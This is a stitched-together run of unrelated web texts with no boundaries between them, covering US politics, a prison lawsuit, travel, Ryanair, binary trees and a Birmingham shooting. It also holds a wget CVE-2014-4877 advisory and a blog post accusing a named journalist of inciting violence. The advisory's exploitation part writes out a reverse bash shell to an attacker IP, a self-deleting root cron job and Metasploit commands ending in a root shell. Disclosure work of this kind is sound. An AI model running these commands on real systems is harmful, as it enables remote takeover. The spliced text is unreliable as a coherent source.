She has made more direct appeals to establishment conservatives, too. Her foreign policy address last week grabbed headlines thanks to her withering put-downs of Trump. But overlooked was the encapsulation of her foreign policy philosophy, summoning a phrase near and dear to foreign policy conservatives: American exceptionalism. “I believe with all my heart that America is an exceptional country,” she said, “that we’re still, in Lincoln’s words, the last, best hope of earth. We are not a country that cowers behind walls. We lead with purpose, and we prevail. And if America doesn’t lead, we leave a vacuum—and that will either cause chaos, or other countries will rush in to fill the void.”
Clinton didn’t stop there. Despite hints that Sanders wants to spark a convention debate over the Israel/Palestine conflict and include more platform language critical of Israel’s “occupation of Palestinian lands,” Clinton moved in the opposite direction and maligned Trump as “neutral on Israel’s security.” She sounded like a Cold War-era Republican when she attacked Trump on Russia: “If Donald gets his way, they’ll be celebrating in the Kremlin.”
Clinton even tiptoed rightward on trade—perhaps the most “establishment” issue of all, uniting technocratic Democrats, free-market Republicans, national security experts and corporate CEOs. While she has not backed away from her assurances to the left that she would oppose a congressional vote on TPP now or after the election, she did slam Trump for threatening high retaliatory tariffs on Chinese goods: “He wants to start a trade war with China. And I understand a lot of Americans have concerns about our trade agreements—I do too. But a trade war is something very different. We went down that road in the 1930s. It made the Great Depression longer and more painful.” Her rejection of crude protectionism is a clear signal to free traders that she doesn’t want to be lumped in with the most vociferous critics of the current global trade regime, giving the establishment hope she will remain open to future deals.
And this is where Obama might be most helpful. The main headline generated by the president’s first campaign speech of the 2016 season, delivered last Wednesday in Elkhart, Indiana, was that he embraced a core demand of the populist left: an expansion of Social Security benefits. But the speech was more comprehensive and ideologically nuanced than that, and included a defense of reduced trade barriers—which he has worked hard to ensure is one of his legacies despite the massive pushback on the left and right. Obama set the stage with a case for his own economic record and against overheated attacks from the Republicans. “Their basic message is anti-government, anti-immigrant, anti-trade, and, let’s face it, it’s anti-change.” He harkened back to his early rhetoric about the need to “make government cool again,” and defended his record on Obamacare, food stamps and environmental regulation.
In casually linking “anti-trade” to the more common “anti-government” and “anti-immigrant” swipes at the GOP, Obama frontally challenged Trump’s version of the anti-TPP argument. It was a complicated case to make. Obama was compelled to acknowledge, “a lot of supporters of trade deals in the past sometimes oversold all the good that it was going to do for the economy.” But he took the time, calling it a “myth” that “other countries are killing us on trade,” instead contending that “exports helped lead us out of the recession” and that he won several cases adjudicated under global trade rules to crack down on “other countries for cheating.” His conclusion echoed Clinton’s worries of a “trade war”: “when you hear somebody threatening to cut off trade and saying that that’s standing up for American workers, that’s just not true.”
Not too long ago, Obama’s trade critics on the left would complain that characterizing opponents as wanting to “cut off trade” was creating a straw man. But with Trump blurting out, “Who the hell cares if there's a trade war?” both Obama and Clinton have a straw man gift-wrapped in the perfect foil.
***
That the two are teaming up to douse Trump’s populist embers, and consolidate the establishment behind the Democratic Party, is an ironic chapter in their nine-year story. In the beginning, Obama was the focus of Clinton’s pragmatist ire. She flailed in 2007 and 2008 trying to puncture Obama’s idealistic “Change We Can Believe In” message with a cold blast of reality. “You [don’t] promise a meeting at that high a level before you know what the intentions are” she lectured him from the establishment playbook, when he brazenly pledged to meet with Iranian and Cuban heads of state in his first year. She diminished his early opposition to the Iraq invasion as mere speechifying: “His entire campaign is based on one speech. … We have one speech in 2002 versus a record of accomplishment and a record of action."
Today, they both have records of accomplishment from the same administration. An attack on the establishment and the status quo is, at least in part, an attack on them. But Clinton has taken far more blows from Sanders and his supporters for her establishment ties than has the president of the United States. Obama’s job approval in the Gallup tracking poll has been at 50 percent or above for most of the last three months—nearly double the number of voters who say America is on the “right track.” Clinton can have no better surrogate to help her defuse the charge that she represents a stagnant status quo than the person still viewed by many Americans as a change agent.
Yes, there is still great risk for Clinton in trying to defend establishment principles while populist sentiment continues to percolate. Obama may be more popular among Democrats than she is, but 30 percent of Democratic primary voters want the next president to be “more liberal” than Obama, a constituency that voted for Sanders by a 2-to-1 margin. You can be sure this group is the hotbed of “Bernie or Bust” sentiment. Rhetoric designed to entice centrist and right-leaning establishment figures, even with political cover from Obama, won’t impress that faction.
And then there’s the fact that even many in the #NeverTrump pool still say they are also #NeverHillary, so ingrained is anti-Clinton sentiment on the right. Clinton may be falling into the trap that many Sanders supporters claim Obama fell into, wasting time waving olive branches to unpersuadable Republicans.
But while polls indicate that Trump has made strides in consolidating Republican base voters, most polls still peg him in the low 40s, suggesting he hasn’t gotten very far with swing voters. And every day, Trump’s word bombs force Republican leaders to dodge the shrapnel, keeping the party itself constantly on the back foot. So long as Clinton can navigate the convention, strike a deal on the platform and ease Sanders into a surrogate role, she may conclude that this political time is different.
And, if she pulls it off, with Obama’s help, we may just get the FDR-style partisan realignment many in the Democratic hoped an Obama presidency would augur.
Then, we’ll see the next battle immediately ensue, as the newly united populist left and the establishment—both left and right—fight over who gets the credit.The ad starts innocently enough: A small boy runs around in front of his grandmother, who's seated on a park bench.
Then she starts tearing into vulnerable Rep. Scott Garrett Ernest (Scott) Scott GarrettManufacturers support Reed to helm Ex-Im Bank Trump taps nominee to lead Export-Import Bank Who has the edge for 2018: Republicans or Democrats? MORE (R-N.J.).
"He voted against equal pay for women. Are you f---ing kidding me?" she asks.
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She adds that Garrett voted against healthcare aid for 9/11 first responders — “total [expletive]” — and expressed opposition to gay congressional candidates.
“Scott Garrett pulled the wool over our eyes. And I’m f---ing mad about it,” she declares.
The ad is paid for by Josh Gottheimer, the Democrat who has forced Garrett into the toughest race of his congressional career.
Garrett, a member of the hard-line House Freedom Caucus, has served in the House since 2003. He became one of the most endangered GOP incumbents this cycle in part because of his refusal to pay dues to the House GOP campaign arm over its recruitment of gay candidates.
Those comments, leaked to Politico last year, damaged Garrett’s support from the financial services industry and deprived him of needed campaign cash.
Between that and redistricting that’s made the district slightly less favorable to Republicans, Garrett is on a much tougher path to reelection this year.
Garrett is also far behind on fundraising compared to his opponent. Gottheimer, a former Clinton White House speechwriter, has raised $4 million, compared with Garrett’s $1.9 million.BROWNSVILLE, Texas (CN) – Weary of flooding toilets and rats, inmates rioted and shut down a South Texas federal immigration prison, costing 400 locals their jobs, a Texas county claims in a lawsuit against a prison-management firm.
The Willacy County Local Government Corp., a quasi-governmental body the county formed to take out $65 million in bond debt to fund construction of a prison complex in Raymondville, the county seat, sued Management & Training Corp. on Wednesday in Brownsville, Texas federal court.
Utah-based Management & Training Corp., also called MTC, is a privately owned prison-management firm that says on its website it “safely secures more than 75,000 offenders and detainees in eight states at 25 facilities annually.”
Raymondville is about 50 miles north of the Mexico border. The prisoners who rioted in February 2015 were undocumented immigrants slated for deportation once they served federal criminal sentences, according to a May 2015 story by the Texas Observer.
Willacy County says in its nine-page lawsuit that Hale-Mills Construction Ltd., a “multibillion-dollar government contractor,” approached county officials in 2002 about constructing several buildings to house state and federal prisoners and deportation detainees.
“Hale-Mills’ pitch was that the county would be paid for housing these inmates and detainees. The pay was promised to be sufficient not only to recoup the $65 million investment, but also to produce substantial net income to the county,” the complaint states.
With the county struggling financially due to a drop in revenue from a declining farming industry, it contracted with Hale-Mills in July 2006 to build the Willacy County Correctional Center in Raymondville, according to the complaint and the Observer.
The county hired MTC to run the prison in July 2006 and renewed the contract five times. The last renewal was in July 2011, the county says.
MTC also initially contracted with U.S. Immigrations and Customs Enforcement to detain immigrants at the prison who were facing the civil penalty of deportation for being caught in the country without authorization or awaiting hearings on their immigration status.
But ICE reportedly canceled its contract with MTC in 2011 and the U.S. Bureau of Prisons contracted MTC to detain immigrants set for deportation once they served their federal criminal sentences, many for illegally entering the United States.
Illegal entry is a misdemeanor punishable by up to six months in federal prison and a $250 fine.
Under its contract with the county, MTC paid for the prison staff and for food, laundry, educational, medical and counseling services for the inmates, and the county agreed to reimburse more than $2 million of those costs.
“MTC had the duty to preserve and keep the prison in good repair, working order, and condition, subject to normal wear and tear, and make or cause to be made all necessary and proper repairs. As part of this provision and upon notification, the county agreed to bear the cost of repair,” the lawsuit states.
But MTC “turned a blind eye” to maintenance issues from the start, the county says.
“Problems with flooding toilets, water seeping underneath the property, rodents, and lack of access to basic inmate services plagued the facility on MTC’s watch…Further, MTC failed to address the issue of prison overcrowding, presumably because MTC was paid an additional per diem for inmates beyond the 90 percent capacity threshold,” the complaint states.
MTC put 200 prisoners’ beds only 3-feet apart under each of 10 huge Kevlar tents, which gave the prison its nickname “Tent City,” according to the Observer.
The county says in its lawsuit the grim living conditions sparked a prisoner riot on Feb. 20, 2015.
Prisoners reportedly set three tents on fire, broke toilets and destroyed surveillance cameras.
“Ultimately, the prison was forced to close and declared ‘uninhabitable’ by the BOP due to MTC’s failure to meet its most basic contractual obligations. All 400 employees of the prison lost their jobs,” the complaint states.
Despite the lawsuit’s allegations of mismanagement, an MTC spokesman said the prison passed all its federal audits before the riot.
“The Bureau of Prisons monitored MTC’s operation on a daily basis and did frequent comprehensive audits to make sure the facility was safe and clean and that it met all federal BOP standards,” Issa Arnita, MTC’s communication director, said in a statement.
Willacy County seeks damages for claims of breach of contract, negligence and fraudulent inducement. It is represented by Bruce Steckler with Steckler Gresham Cochran in Dallas.
The prison’s closure has exacerbated a problem the federal government has with finding space to detain an influx of Central American immigrants, who experts say are fleeing poverty and gang violence in their native countries and turning themselves in to U.S. immigration authorities with hopes of getting asylum in the United States.
“In October a total of 46,195 individuals were apprehended between ports of entry on our southwest border, compared with 39,501 in September and 37,048 in August,” the Department of Homeland Security said in a Nov. 10 statement.
To deal with the influx of Central American families, U.S. Customs and Border Protection is “standing up a temporary holding facility” with space for up to 500 people near the Donna Texas Port of Entry, the agency said last month.
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GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP. Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user's filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.
Vulnerability
The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.
lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> / drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET
Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user's filesystem.
Remediation
Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch. If you use a distribution that does not ship a patched version of wget, you can mitigate the issue by adding the line retr-symlinks=on to either /etc/wgetrc or ~/.wgetrc. This issue is only exploitable when running wget with recursive mode against a FTP server URL. Although a HTTP service can redirect wget to a FTP URL, it implicitly disables the recursive option after following this redirect, and is not exploitable in this scenario.
Exploitation
We have released a Metasploit module to demonstrate this issue. In the example below, we demonstrate obtaining a reverse command shell against a user running wget as root against a malicious FTP service. This example makes use of the cron daemon and a reverse-connect bash shell. First we will create a reverse connect command string using msfpayload.
# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R 0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112
Next we create a crontab file that runs once a minute, launches this command, and deletes itself:
# cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD
Now we start up msfconsole and configure a shell listener:
# msfconsole msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.0.4 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.4:4444
Finally we switch to the wget module itself:
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 msf auxiliary(wget_symlink_file_write) > run [+] Targets should run: $ wget -m ftp://192.168.0.4:21/ [*] Server started.
At this point, we just wait for the target user to run wget -m ftp://192.168.0.4:21/
[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> RETR cronshell [+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500 msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root),1001(rvm)
Disclosure Timeline
The issue was discovered by HD Moore of Rapid7, and was disclosed to both the upstream provider of Wget and CERT/CC as detailed below:For hikers: Foula, Scotland
It’s worth the effort of getting to the UK’s most remote inhabited island, especially as you might catch glimpse of a minke whale or an orca as you cruise across the Atlantic by ferry from Shetland’s mainland.
The reward on a remote outpost the Romans dubbed their ultima thule, literally ‘the end of the world’, is jaw-dropping hiking. The chances are you won’t see another human as you vault across the island’s lofty peaks (the highest, The Sneug, soars to 418m), but watch out for the bonxies. These giant great skuas don’t appreciate visitors and have been known to knock hikers clean off their feet.
Image by Robin McKelvie
For beach bums: Porto Santo, Portugal
No doubt you will have heard of Madeira, but what about its Macaronesian neighbour Porto Santo? It may only be less than 8km wide and 15km long, but this little gem packs a proper beach punch.
The main attraction is the epic sweep of golden sand right by the ferry landing that stretches off for over 7km into the distance. Savvy visitors from Portugal’s mainland know all about the sandy charms of this relaxed island, but few other Europeans have yet to descend en masse, even though there are plenty of decent hotels and restaurants on hand
For explorers: Saaremaa, Estonia
Ok, we won’t lie, the Baltic Sea is not the world’s warmest, but try telling that to the citizens of the Estonian capital, Tallinn, who flock here to laze around on the brilliant beaches and take a bracing dip in summer.
We recommend venturing here in spring (winter is extremely cold and summer can be busy), when you have a better chance of snaring one of the cosy wooden houses that snuggle in this tree-shrouded oasis. Hire a bike and head off looking for seals and seabirds, just steer clear of the bears, who we’ve heard are also occasional visitors.
Saaremaa island, Estonia © Anilah/Shutterstock
For a secret escape: Lastovo, Croatia
The emphasis here is on the ‘Last’ in Lastovo: from here there's only open Adriatic all the way across to Italy. Most travellers these days know the Croatian tourist hotspots of Hvar and Brač, but this relaxed charmer remains relatively untrammelled by tourism, at least in part due to the vagaries of the ferry timetable.
This outlying island boasts a rich sweep of Venetian-era architecture, with its natural attractions recognised by the Croatian government who have declared it a protected nature park. The local waters also dish up a rich bounty of seafood, the best of which is the plump local lobster, or jastog, which is best enjoyed simply grilled.
Lastovo old town, Lastovo island, Croatia © Bumble Dee/Shutterstock.
Why I Hate Men
Today I hate men, and will tomorrow and the day after. But only the men who perpetrate these crimes against my sisters, and those who do nothing to stop it. Are you in either one of those categories? If so, then I despise you
. Julie Bindel
I post the above merely to buttress my view that Mz Bindell is forever trying to incite women to behave violently towards men in order to seek revenge. And in the above two articles, as well as in the article posted a few days ago, she is not talking exclusively about using violence in order to intimidate men who have actually committed any offence.
She is also well aware of the horrible type of violent vigilantism that is often perpetrated against alleged paedophiles, as well as against those men who are merely accused of sexual offences.
She is very consciously trying to stir up even further this kind of violence (and, indeed, hatred) towards men, but she is being careful not to break the law and not to incite too much in the way of complaint.
Take it from me. I know what she is up to!
Furthermore, her articles follow a classic technique for demonising groups and inciting violence towards them.
1. Outline particularly horrible acts perpetrated by a very few members of the targeted group and then give the impression that huge numbers of that group are engaging in and/or endorsing the same particularly horrible acts.
2. Suggest that violence against the entire group is warranted.
And for those who remain sceptical about her inciting violence, I re-write the second paragraph above from the point of view of a man who has been falsely accused of rape.
We may as well forget about the criminal justice system and train groups of vigilantes to exact revenge and, hopefully, deter women from making false accusations. Because if I were falsely accused, I would rather take my chances as a defendant in court [for vigilantism], than as a complainant in a system that seems bent on proving that accusing women are always telling the truth.
Essentially, she is arguing that women should break the law and commit acts of violence in order to achieve 'justice'.
.Historic shift comes as Michael O’Leary urges pilots in UK, Ireland, Germany, Italy, Spain and Portugal not to take strike action
Ryanair is to recognise pilot unions for the first time in its 32-year history in an attempt to prevent strikes in the run-up to Christmas.
Michael O’Leary’s refusal to recognise trade unions was at the heart of the low-cost airline business model he developed, transforming a small Irish regional airline into Europe’s largest carrier by passenger numbers.
The chief executive has frequently dismissed pilots’ complaints and insisted on pay negotiations being conducted through company-controlled representative committees at individual bases. He was once quoted as saying he would rather cut off his own hand than recognise unions. However, a shortage of pilots led the airline to cancel thousands of flights earlier this year, shifting more power to staff.
Pilots have complained of a toxic work atmosphere at the airline, although Ryanair claims it offers comparatively high pay. Although previous attempts to unionise have faltered in the past, a rapid mobilisation appears to have taken place after the rostering failure.
Ryanair may face legal action over flight cancellations Read more
“Recognising unions will be a significant change for Ryanair, but we have delivered radical change before,” O’Leary said in a statement. “We hope and expect that these structures can and will be agreed with our pilots early in the new year.”
The company said it was urging the Irish pilots’ union, Ialpa, to call off threatened industrial action scheduled for Wednesday “so that our customers can look forward to travelling home for Christmas without the threat or worry of pilot strikes hanging over them”.
Ryanair said it had written to pilots’ unions in the UK, Ireland, Germany, Italy, Spain and Portugal, inviting each of them to talks to recognise the unions as the representative body for the airline’s pilots in each country.
Ialpa called for an immediate meeting with management “to clarify issues and make progress”.
The UK pilots union, Balpa, said it had written to Ryanair to accept its offer to discuss recognition, asking to include the TUC and the arbitration service Acas in talks. Balpa’s general secretary, Brian Strutton, said: “This change of heart and position by Ryanair is welcome.”
Frances O’Grady, the TUC general secretary, said: “We are hopeful that this indicates a broader move to Ryanair being a much more union-friendly company. We look forward to working alongside Balpa to achieve that aim.”
Should the strike take place, it would be the first in Ryanair’s history. The airline’s statement marked a dramatic change of tone from three days ago, when Ryanair said it would “face down” the threatened strike. The response is likely to be met with a considerable degree of caution by pilots and unions.
The move would give Ryanair some leeway to negotiate separately, as its bases are spread across Europe. Pilots had been working towards creating a pan-European union.
The airline said it would only recognise the unions as long as they established specific committees of Ryanair pilots. “Ryanair will not engage with pilots who fly for competitor airlines in Ireland or elsewhere,” it said.
O’Leary has long maintained, in the face of much evidence, that complaints about employment practices were not made by his staff.
The chief executive said he wanted to remove the threat of a strike. “If the best way to achieve this is to talk to our pilots through a recognised union process, then we are prepared to do so,” he said.
The largest Italian pilots’ union, Anpac, called off strike action that had been due to take place on Friday. Portuguese pilots are due to go on strike on Wednesday next week, while pilots in Germany had voted to take industrial action during the Christmas period over pay and conditions.
Ryanair’s chief people officer, Eddie Wilson, said there was no reason to think costs would increase as a result of recognising unions. However, analysts said it added uncertainty. Mark Simpson, an analyst at the stockbroker Goodbody, said: “It adds complexity, it adds uncertainty, and you can’t put a number on that.”
Cabin crew have also complained about working conditions at the airline, which has threatened crew with disciplinary action for missing onboard sales targets. Wilson said Ryanair would “wait and see what comes” before deciding about recognising unions in other parts of the company.
Ryanair’s share price fell almost 8% on Friday after its announcement.
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− 1 − i {\displaystyle \textstyle C_{n}=\sum _{i=0}^{n-1}C_{i}C_{n-1-i}} for any positive integer n. It follows that C n {\displaystyle C_{n}} is the Catalan number of index n.
The above parenthesized strings should not be confused with the set of words of length 2n in the Dyck language, which consist only of parentheses in such a way that they are properly balanced. The number of such strings satisfies the same recursive description (each Dyck word of length 2n is determined by the Dyck subword enclosed by the initial '(' and its matching ')' together with the Dyck subword remaining after that closing parenthesis, whose lengths 2i and 2j satisfy i + j + 1 = n); this number is therefore also the Catalan number C n {\displaystyle C_{n}}. So there are also five Dyck words of length 6:
( ) ( ) ( ), ( ) ( ( ) ), ( ( ) ) ( ), ( ( ) ( ) ), ( ( ( ) ) ) {\displaystyle ()()(),\qquad ()(()),\qquad (())(),\qquad (()()),\qquad ((()))}
These Dyck words do not correspond to binary trees in the same way. Instead, they are related by the following recursively defined bijection: the Dyck word equal to the empty string corresponds to the binary tree of size 0 with only one leaf. Any other Dyck word can be written as ( w 1 {\displaystyle w_{1}} ) w 2 {\displaystyle w_{2}}, where w 1 {\displaystyle w_{1}}, w 2 {\displaystyle w_{2}} are themselves (possibly empty) Dyck words and where the two written parentheses are matched. The bijection is then defined by letting the words w 1 {\displaystyle w_{1}} and w 2 {\displaystyle w_{2}} correspond to the binary trees that are the left and right children of the root.
A bijective correspondence can also be defined as follows: enclose the Dyck word in an extra pair of parentheses, so that the result can be interpreted as a Lisp list expression (with the empty list () as only occurring atom); then the dotted-pair expression for that proper list is a fully parenthesized expression (with NIL as symbol and '.' as operator) describing the corresponding binary tree (which is in fact the internal representation of the proper list).
The ability to represent binary trees as strings of symbols and parentheses implies that binary trees can represent the elements of a free magma on a singleton set.
Methods for storing binary trees [ edit ]
Binary trees can be constructed from programming language primitives in several ways.
Nodes and references [ edit ]
In a language with records and references, binary trees are typically constructed by having a tree node structure which contains some data and references to its left child and its right child. Sometimes it also contains a reference to its unique parent. If a node has fewer than two children, some of the child pointers may be set to a special null value, or to a special sentinel node.
This method of storing binary trees wastes a fair bit of memory, as the pointers will be null (or point to the sentinel) more than half the time; a more conservative representation alternative is threaded binary tree.[25]
In languages with tagged unions such as ML, a tree node is often a tagged union of two types of nodes, one of which is a 3-tuple of data, left child, and right child, and the other of which is a "leaf" node, which contains no data and functions much like the null value in a language with pointers. For example, the following line of code in OCaml (an ML dialect) defines a binary tree that stores a character in each node.[26]
type chr_tree = Empty | Node of char * chr_tree * chr_tree
Arrays [ edit ]
Binary trees can also be stored in breadth-first order as an implicit data structure in arrays, and if the tree is a complete binary tree, this method wastes no space. In this compact arrangement, if a node has an index i, its children are found at indices 2 i + 1 {\displaystyle 2i+1} (for the left child) and 2 i + 2 {\displaystyle 2i+2} (for the right), while its parent (if any) is found at index ⌊ i − 1 2 ⌋ {\displaystyle \left\lfloor {\frac {i-1}{2}}\right\rfloor } (assuming the root has index zero). This method benefits from more compact storage and better locality of reference, particularly during a preorder traversal. However, it is expensive to grow and wastes space proportional to 2h - n for a tree of depth h with n nodes.
This method of storage is often used for binary heaps. No space is wasted because nodes are added in breadth-first order.
Encodings [ edit ]
Succinct encodings [ edit ]
A succinct data structure is one which occupies close to minimum possible space, as established by information theoretical lower bounds. The number of different binary trees on n {\displaystyle n} nodes is C n {\displaystyle \mathrm {C} _{n}}, the n {\displaystyle n} th Catalan number (assuming we view trees with identical structure as identical). For large n {\displaystyle n}, this is about 4 n {\displaystyle 4^{n}} ; thus we need at least about log 2 4 n = 2 n {\displaystyle \log _{2}4^{n}=2n} bits to encode it. A succinct binary tree therefore would occupy 2 n + o ( n ) {\displaystyle 2n+o(n)} bits.
One simple representation which meets this bound is to visit the nodes of the tree in preorder, outputting "1" for an internal node and "0" for a leaf. [1] If the tree contains data, we can simply simultaneously store it in a consecutive array in preorder. This function accomplishes this:
function EncodeSuccinct(node n, bitstring structure, array data) { if n = nil then append 0 to structure; else append 1 to structure; append n.data to data; EncodeSuccinct(n.left, structure, data); EncodeSuccinct(n.right, structure, data); }
The string structure has only 2 n + 1 {\displaystyle 2n+1} bits in the end, where n {\displaystyle n} is the number of (internal) nodes; we don't even have to store its length. To show that no information is lost, we can convert the output back to the original tree like this:
function DecodeSuccinct(bitstring structure, array data) { remove first bit of structure and put it in b if b = 1 then create a new node n remove first element of data and put it in n.data n.left = DecodeSuccinct(structure, data) n.right = DecodeSuccinct(structure, data) return n else return nil }
More sophisticated succinct representations allow not only compact storage of trees but even useful operations on those trees directly while they're still in their succinct form.
Encoding general trees as binary trees [ edit ]
There is a one-to-one mapping between general ordered trees and binary trees, which in particular is used by Lisp to represent general ordered trees as binary trees. To convert a general ordered tree to binary tree, we only need to represent the general tree in left-child right-sibling way. The result of this representation will automatically be a binary tree, if viewed from a different perspective. Each node N in the ordered tree corresponds to a node N' in the binary tree; the left child of N' is the node corresponding to the first child of N, and the right child of N' is the node corresponding to N's next sibling --- that is, the next node in order among the children of the parent of N. This binary tree representation of a general order tree is sometimes also referred to as a left-child right-sibling binary tree (LCRS tree), or a doubly chained tree, or a Filial-Heir chain.
One way of thinking about this is that each node's children are in a linked list, chained together with their right fields, and the node only has a pointer to the beginning or head of this list, through its left field.
For example, in the tree on the left, A has the 6 children {B,C,D,E,F,G}. It can be converted into the binary tree on the right.
The binary tree can be thought of as the original tree tilted sideways, with the black left edges representing first child and the blue right edges representing next sibling. The leaves of the tree on the left would be written in Lisp as:
(((N O) I J) C D ((P) (Q)) F (M))
which would be implemented in memory as the binary tree on the right, without any letters on those nodes that have a left child.
Common operations [ edit ]
There are a variety of different operations that can be performed on binary trees. Some are mutator operations, while others simply return useful information about the tree.
Insertion [ edit ]
Nodes can be inserted into binary trees in between two other nodes or added after a leaf node. In binary trees, a node that is inserted is specified as to which child it is.
Leaf nodes [ edit ]
To add a new node after leaf node A, A assigns the new node as one of its children and the new node assigns node A as its parent.
Internal nodes [ edit ]
The process of inserting a node into a binary tree
Insertion on internal nodes is slightly more complex than on leaf nodes. Say that the internal node is node A and that node B is the child of A. (If the insertion is to insert a right child, then B is the right child of A, and similarly with a left child insertion.) A assigns its child to the new node and the new node assigns its parent to A. Then the new node assigns its child to B and B assigns its parent as the new node.
Deletion [ edit ]
Deletion is the process whereby a node is removed from the tree. Only certain nodes in a binary tree can be removed unambiguously.[27]
Node with zero or one children [ edit ]
The process of deleting an internal node in a binary tree
Suppose that the node to delete is node A. If A has no children, deletion is accomplished by setting the child of A's parent to null. If A has one child, set the parent of A's child to A's parent and set the child of A's parent to A's child.
Node with two children [ edit ]
In a binary tree, a node with two children cannot be deleted unambiguously.[27] However, in certain binary trees (including binary search trees) these nodes can be deleted, though with a rearrangement of the tree structure.
Traversal [ edit ]
Pre-order, in-order, and post-order traversal visit each node in a tree by recursively visiting each node in the left and right subtrees of the root.
Depth-first order [ edit ]
In depth-first order, we always attempt to visit the node farthest from the root node that we can, but with the caveat that it must be a child of a node we have already visited. Unlike a depth-first search on graphs, there is no need to remember all the nodes we have visited, because a tree cannot contain cycles. Pre-order is a special case of this. See depth-first search for more information.
Breadth-first order [ edit ]
Contrasting with depth-first order is breadth-first order, which always attempts to visit the node closest to the root that it has not already visited. See breadth-first search for more information. Also called a level-order traversal.
In a complete binary tree, a node's breadth-index (i − (2d − 1)) can be used as traversal instructions from the root. Reading bitwise from left to right, starting at bit d − 1, where d is the node's distance from the root (d = ⌊log2(i+1)⌋) and the node in question is not the root itself (d > 0). When the breadth-index is masked at bit d − 1, the bit values 0 and 1 mean to step either left or right, respectively. The process continues by successively checking the next bit to the right until there are no more. The rightmost bit indicates the final traversal from the desired node's parent to the node itself. There is a time-space trade-off between iterating a complete binary tree this way versus each node having pointer/s to its sibling/s.
See also [ edit ]
References [ edit ]
Citations [ edit ]Image caption A witness told the BBC "about 200 to 300 lads" gathered in the area before the killing
Five men remain in police custody in connection with the fatal shooting of a 28-year-old man in Birmingham.
Two other injured men were taken to hospital, where a 25-year-old with knife wounds is in a critical condition, West Midlands police said.
A 22-year-old is being treated for gunshot injuries that are not thought to be life-threatening.
The only thing we harvest from the guns and knives on our streets is another generation of orphans and widows Father Oliver Coss, Small Heath parish priest
Four of the arrested men are suspected of violent disorder, and the fifth man of possessing a class-A drug.
The dead man has been named locally as Ikram Elahi.
One witness claimed "about 200 to 300 lads" had gathered in the area around Stratford Road in Sparkbrook prior to the killing on Wednesday evening.
'Pool of blood'
The A34 Stratford Road was closed throughout Thursday morning but reopened at lunchtime.
Farm Road and Grantham Road remain sealed off as part of the police investigation.
Supt Bas Javid, from Birmingham East Police, said it was unsettling for communities when guns or knives are used.
"There is nothing to suggest there will be any further issues," he said.
"We would encourage people not to speculate and I would reiterate that there is nothing to suggest this will spark any further disorder."
Media playback is unsupported on your device Media caption Police will continue to patrol the area
Following a private meeting held for residents at the Christ Church centre on Sampson Road, Mohammed Ashraf, a member of the Sparkbrook Faith Forum, said: "We urge all families to look carefully into their hearts in this holy month of Ramadan and hand in any information they have.
"Any individuals involved in this, could they please report to the police."
One shopkeeper, who did not want to be named, said he had been leaving the area on a bus when he spotted the scene.
"I saw a man lying in a pool of blood by the side of the road," he said.
"People were surrounding him and trying to help. I didn't understand what I was seeing, whether he had been shot or stabbed.
"It has made me scared. I'm worried about my shop."
Image copyright @Bhamupdates Image caption Police sealed off the main A34 Stratford Road until Thursday lunchtime
Ann Taylor, who lives locally, said she also was worried about the area: "I'm not surprised what happened here really, it's not very nice.
"I'm not very happy now. I feel like I can't go out at night any more. "
A second shopkeeper, who also did not want to give his name, said he had been locking up for the day at about 19:20 when he saw a "large group" had gathered.
'Groups fighting'
"There were about 200 to 300 lads hanging around, it was a large number," he said.
"Then after that lots of police came down.
He added: "It does happen around here, groups fighting among themselves.
"You do see large groups of young lads hanging around, but it doesn't usually escalate to this kind of violence."
Image caption Grantham Road and Farm Road remain sealed off while investigations are carried out
Birmingham City Councillor Mariam Khan said: "Any loss of life is a waste, especially young life."
She said, as chair of the social cohesion and community safety committee on the council, she would look closely at issues around gun and knife crime and "focus on what makes young people turn to violence".
Parish priest of the Small Heath area of Birmingham, Father Oliver Coss, offered his condolences and said: "The only thing we harvest from the guns and knives on our streets is another generation of orphans and widows."
A post-mortem examination will take place in due course to determine the cause of death, officers said.Agriculture Will public-lands ranchers pay more for grazing? An Obama administration proposal would more than double fees.
Twenty years ago, fees for ranchers grazing livestock on federal public lands were a major political issue, the subject of regular national debates between conservationists and ranchers. The fee program brings in far less money for the Bureau of Land Management and Forest Service than the agencies spend on maintaining rangeland. But thanks to the power of the livestock lobby, proposals to raise grazing fees have been stymied in political controversy for decades.
